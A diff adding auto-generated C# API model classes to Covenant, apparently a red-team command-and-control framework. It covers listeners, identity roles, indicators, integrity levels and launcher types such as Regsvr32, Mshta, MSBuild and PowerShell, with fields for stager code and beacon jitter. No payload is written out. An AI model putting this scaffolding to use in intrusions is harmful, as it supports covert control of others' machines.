Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class IdentityRole + { + /// + /// Initializes a new instance of the IdentityRole class. + /// + public IdentityRole() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the IdentityRole class. + /// + public IdentityRole(string id = default(string), string name = default(string), string normalizedName = default(string), string concurrencyStamp = default(string)) + { + Id = id; + Name = name; + NormalizedName = normalizedName; + ConcurrencyStamp = concurrencyStamp; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public string Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "normalizedName")] + public string NormalizedName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "concurrencyStamp")] + public string ConcurrencyStamp { get; set; } + + } +} diff --git a/Covenant/API/Models/IdentityUserRoleString.cs b/Covenant/API/Models/IdentityUserRoleString.cs new file mode 100644 index 00000000..0f52f9c4 --- /dev/null +++ b/Covenant/API/Models/IdentityUserRoleString.cs @@ -0,0 +1,48 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class IdentityUserRoleString + { + /// + /// Initializes a new instance of the IdentityUserRoleString class. + /// + public IdentityUserRoleString() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the IdentityUserRoleString class. + /// + public IdentityUserRoleString(string userId = default(string), string roleId = default(string)) + { + UserId = userId; + RoleId = roleId; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "userId")] + public string UserId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "roleId")] + public string RoleId { get; set; } + + } +} diff --git a/Covenant/API/Models/Indicator.cs b/Covenant/API/Models/Indicator.cs new file mode 100644 index 00000000..ebd2b4a9 --- /dev/null +++ b/Covenant/API/Models/Indicator.cs @@ -0,0 +1,48 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class Indicator + { + /// + /// Initializes a new instance of the Indicator class. + /// + public Indicator() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the Indicator class. + /// + public Indicator(int? id = default(int?), string name = default(string)) + { + Id = id; + Name = name; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + } +} diff --git a/Covenant/API/Models/InstallUtilLauncher.cs b/Covenant/API/Models/InstallUtilLauncher.cs new file mode 100644 index 00000000..1e934cd6 --- /dev/null +++ b/Covenant/API/Models/InstallUtilLauncher.cs @@ -0,0 +1,123 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class InstallUtilLauncher + { + /// + /// Initializes a new instance of the InstallUtilLauncher class. + /// + public InstallUtilLauncher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the InstallUtilLauncher class. + /// + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public InstallUtilLauncher(string diskCode = default(string), int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + DiskCode = diskCode; + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "diskCode")] + public string DiskCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/IntegrityLevel.cs b/Covenant/API/Models/IntegrityLevel.cs new file mode 100644 index 00000000..cb1cc3d6 --- /dev/null +++ b/Covenant/API/Models/IntegrityLevel.cs @@ -0,0 +1,74 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for IntegrityLevel. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum IntegrityLevel + { + [EnumMember(Value = "Untrusted")] + Untrusted, + [EnumMember(Value = "Low")] + Low, + [EnumMember(Value = "Medium")] + Medium, + [EnumMember(Value = "High")] + High, + [EnumMember(Value = "System")] + System + } + internal static class IntegrityLevelEnumExtension + { + internal static string ToSerializedValue(this IntegrityLevel? value) + { + return value == null ? null : ((IntegrityLevel)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this IntegrityLevel value) + { + switch( value ) + { + case IntegrityLevel.Untrusted: + return "Untrusted"; + case IntegrityLevel.Low: + return "Low"; + case IntegrityLevel.Medium: + return "Medium"; + case IntegrityLevel.High: + return "High"; + case IntegrityLevel.System: + return "System"; + } + return null; + } + + internal static IntegrityLevel? ParseIntegrityLevel(this string value) + { + switch( value ) + { + case "Untrusted": + return IntegrityLevel.Untrusted; + case "Low": + return IntegrityLevel.Low; + case "Medium": + return IntegrityLevel.Medium; + case "High": + return IntegrityLevel.High; + case "System": + return IntegrityLevel.System; + } + return null; + } + } +} diff --git a/Covenant/API/Models/Launcher.cs b/Covenant/API/Models/Launcher.cs new file mode 100644 index 00000000..0c2e1e93 --- /dev/null +++ b/Covenant/API/Models/Launcher.cs @@ -0,0 +1,117 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class Launcher + { + /// + /// Initializes a new instance of the Launcher class. + /// + public Launcher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the Launcher class. + /// + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public Launcher(int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/LauncherType.cs b/Covenant/API/Models/LauncherType.cs new file mode 100644 index 00000000..8462c81b --- /dev/null +++ b/Covenant/API/Models/LauncherType.cs @@ -0,0 +1,98 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for LauncherType. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum LauncherType + { + [EnumMember(Value = "Wmic")] + Wmic, + [EnumMember(Value = "Regsvr32")] + Regsvr32, + [EnumMember(Value = "Mshta")] + Mshta, + [EnumMember(Value = "Cscript")] + Cscript, + [EnumMember(Value = "Wscript")] + Wscript, + [EnumMember(Value = "PowerShell")] + PowerShell, + [EnumMember(Value = "Binary")] + Binary, + [EnumMember(Value = "MSBuild")] + MSBuild, + [EnumMember(Value = "InstallUtil")] + InstallUtil + } + internal static class LauncherTypeEnumExtension + { + internal static string ToSerializedValue(this LauncherType? value) + { + return value == null ? null : ((LauncherType)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this LauncherType value) + { + switch( value ) + { + case LauncherType.Wmic: + return "Wmic"; + case LauncherType.Regsvr32: + return "Regsvr32"; + case LauncherType.Mshta: + return "Mshta"; + case LauncherType.Cscript: + return "Cscript"; + case LauncherType.Wscript: + return "Wscript"; + case LauncherType.PowerShell: + return "PowerShell"; + case LauncherType.Binary: + return "Binary"; + case LauncherType.MSBuild: + return "MSBuild"; + case LauncherType.InstallUtil: + return "InstallUtil"; + } + return null; + } + + internal static LauncherType? ParseLauncherType(this string value) + { + switch( value ) + { + case "Wmic": + return LauncherType.Wmic; + case "Regsvr32": + return LauncherType.Regsvr32; + case "Mshta": + return LauncherType.Mshta; + case "Cscript": + return LauncherType.Cscript; + case "Wscript": + return LauncherType.Wscript; + case "PowerShell": + return LauncherType.PowerShell; + case "Binary": + return LauncherType.Binary; + case "MSBuild": + return LauncherType.MSBuild; + case "InstallUtil": + return LauncherType.InstallUtil; + } + return null; + } + } +} diff --git a/Covenant/API/Models/Listener.cs b/Covenant/API/Models/Listener.cs new file mode 100644 index 00000000..4bef9788 --- /dev/null +++ b/Covenant/API/Models/Listener.cs @@ -0,0 +1,100 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class Listener + { + /// + /// Initializes a new instance of the Listener class. + /// + public Listener() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the Listener class. + /// + /// Possible values include: 'Uninitialized', + /// 'Active', 'Stopped' + public Listener(int? id = default(int?), int? profileId = default(int?), string name = default(string), string description = default(string), string bindAddress = default(string), int? bindPort = default(int?), string connectAddress = default(string), int? listenerTypeId = default(int?), ListenerStatus? status = default(ListenerStatus?), string covenantToken = default(string)) + { + Id = id; + ProfileId = profileId; + Name = name; + Description = description; + BindAddress = bindAddress; + BindPort = bindPort; + ConnectAddress = connectAddress; + ListenerTypeId = listenerTypeId; + Status = status; + CovenantToken = covenantToken; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "profileId")] + public int? ProfileId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "bindAddress")] + public string BindAddress { get; set; } + + /// + /// + [JsonProperty(PropertyName = "bindPort")] + public int? BindPort { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAddress")] + public string ConnectAddress { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerTypeId")] + public int? ListenerTypeId { get; set; } + + /// + /// Gets or sets possible values include: 'Uninitialized', 'Active', + /// 'Stopped' + /// + [JsonProperty(PropertyName = "status")] + public ListenerStatus? Status { get; set; } + + /// + /// + [JsonProperty(PropertyName = "covenantToken")] + public string CovenantToken { get; set; } + + } +} diff --git a/Covenant/API/Models/ListenerStatus.cs b/Covenant/API/Models/ListenerStatus.cs new file mode 100644 index 00000000..0ed7abac --- /dev/null +++ b/Covenant/API/Models/ListenerStatus.cs @@ -0,0 +1,62 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for ListenerStatus. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum ListenerStatus + { + [EnumMember(Value = "Uninitialized")] + Uninitialized, + [EnumMember(Value = "Active")] + Active, + [EnumMember(Value = "Stopped")] + Stopped + } + internal static class ListenerStatusEnumExtension + { + internal static string ToSerializedValue(this ListenerStatus? value) + { + return value == null ? null : ((ListenerStatus)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this ListenerStatus value) + { + switch( value ) + { + case ListenerStatus.Uninitialized: + return "Uninitialized"; + case ListenerStatus.Active: + return "Active"; + case ListenerStatus.Stopped: + return "Stopped"; + } + return null; + } + + internal static ListenerStatus? ParseListenerStatus(this string value) + { + switch( value ) + { + case "Uninitialized": + return ListenerStatus.Uninitialized; + case "Active": + return ListenerStatus.Active; + case "Stopped": + return ListenerStatus.Stopped; + } + return null; + } + } +} diff --git a/Covenant/API/Models/ListenerType.cs b/Covenant/API/Models/ListenerType.cs new file mode 100644 index 00000000..4bb82db3 --- /dev/null +++ b/Covenant/API/Models/ListenerType.cs @@ -0,0 +1,54 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class ListenerType + { + /// + /// Initializes a new instance of the ListenerType class. + /// + public ListenerType() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the ListenerType class. + /// + public ListenerType(int? id = default(int?), string name = default(string), string description = default(string)) + { + Id = id; + Name = name; + Description = description; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + } +} diff --git a/Covenant/API/Models/MSBuildLauncher.cs b/Covenant/API/Models/MSBuildLauncher.cs new file mode 100644 index 00000000..528ed791 --- /dev/null +++ b/Covenant/API/Models/MSBuildLauncher.cs @@ -0,0 +1,135 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class MSBuildLauncher + { + /// + /// Initializes a new instance of the MSBuildLauncher class. + /// + public MSBuildLauncher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the MSBuildLauncher class. + /// + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public MSBuildLauncher(string targetName = default(string), string taskName = default(string), string diskCode = default(string), int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + TargetName = targetName; + TaskName = taskName; + DiskCode = diskCode; + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "targetName")] + public string TargetName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "taskName")] + public string TaskName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "diskCode")] + public string DiskCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/MshtaLauncher.cs b/Covenant/API/Models/MshtaLauncher.cs new file mode 100644 index 00000000..e827936d --- /dev/null +++ b/Covenant/API/Models/MshtaLauncher.cs @@ -0,0 +1,138 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class MshtaLauncher + { + /// + /// Initializes a new instance of the MshtaLauncher class. + /// + public MshtaLauncher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the MshtaLauncher class. + /// + /// Possible values include: 'JScript', + /// 'VBScript' + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public MshtaLauncher(ScriptingLanguage? scriptLanguage = default(ScriptingLanguage?), string progId = default(string), string diskCode = default(string), int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + ScriptLanguage = scriptLanguage; + ProgId = progId; + DiskCode = diskCode; + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// Gets or sets possible values include: 'JScript', 'VBScript' + /// + [JsonProperty(PropertyName = "scriptLanguage")] + public ScriptingLanguage? ScriptLanguage { get; set; } + + /// + /// + [JsonProperty(PropertyName = "progId")] + public string ProgId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "diskCode")] + public string DiskCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/NetworkIndicator.cs b/Covenant/API/Models/NetworkIndicator.cs new file mode 100644 index 00000000..ec0a0ff1 --- /dev/null +++ b/Covenant/API/Models/NetworkIndicator.cs @@ -0,0 +1,78 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class NetworkIndicator + { + /// + /// Initializes a new instance of the NetworkIndicator class. + /// + public NetworkIndicator() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the NetworkIndicator class. + /// + public NetworkIndicator(string protocol = default(string), string domain = default(string), string ipAddress = default(string), int? port = default(int?), string uri = default(string), int? id = default(int?), string name = default(string)) + { + Protocol = protocol; + Domain = domain; + IpAddress = ipAddress; + Port = port; + Uri = uri; + Id = id; + Name = name; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "protocol")] + public string Protocol { get; set; } + + /// + /// + [JsonProperty(PropertyName = "domain")] + public string Domain { get; set; } + + /// + /// + [JsonProperty(PropertyName = "ipAddress")] + public string IpAddress { get; set; } + + /// + /// + [JsonProperty(PropertyName = "port")] + public int? Port { get; set; } + + /// + /// + [JsonProperty(PropertyName = "uri")] + public string Uri { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + } +} diff --git a/Covenant/API/Models/PowerShellLauncher.cs b/Covenant/API/Models/PowerShellLauncher.cs new file mode 100644 index 00000000..705bf9c9 --- /dev/null +++ b/Covenant/API/Models/PowerShellLauncher.cs @@ -0,0 +1,135 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class PowerShellLauncher + { + /// + /// Initializes a new instance of the PowerShellLauncher class. + /// + public PowerShellLauncher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the PowerShellLauncher class. + /// + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public PowerShellLauncher(string parameterString = default(string), string powerShellCode = default(string), string encodedLauncherString = default(string), int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + ParameterString = parameterString; + PowerShellCode = powerShellCode; + EncodedLauncherString = encodedLauncherString; + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "parameterString")] + public string ParameterString { get; set; } + + /// + /// + [JsonProperty(PropertyName = "powerShellCode")] + public string PowerShellCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "encodedLauncherString")] + public string EncodedLauncherString { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/Profile.cs b/Covenant/API/Models/Profile.cs new file mode 100644 index 00000000..87207c9f --- /dev/null +++ b/Covenant/API/Models/Profile.cs @@ -0,0 +1,42 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class Profile + { + /// + /// Initializes a new instance of the Profile class. + /// + public Profile() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the Profile class. + /// + public Profile(int? id = default(int?)) + { + Id = id; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + } +} diff --git a/Covenant/API/Models/Regsvr32Launcher.cs b/Covenant/API/Models/Regsvr32Launcher.cs new file mode 100644 index 00000000..56597ed1 --- /dev/null +++ b/Covenant/API/Models/Regsvr32Launcher.cs @@ -0,0 +1,150 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class Regsvr32Launcher + 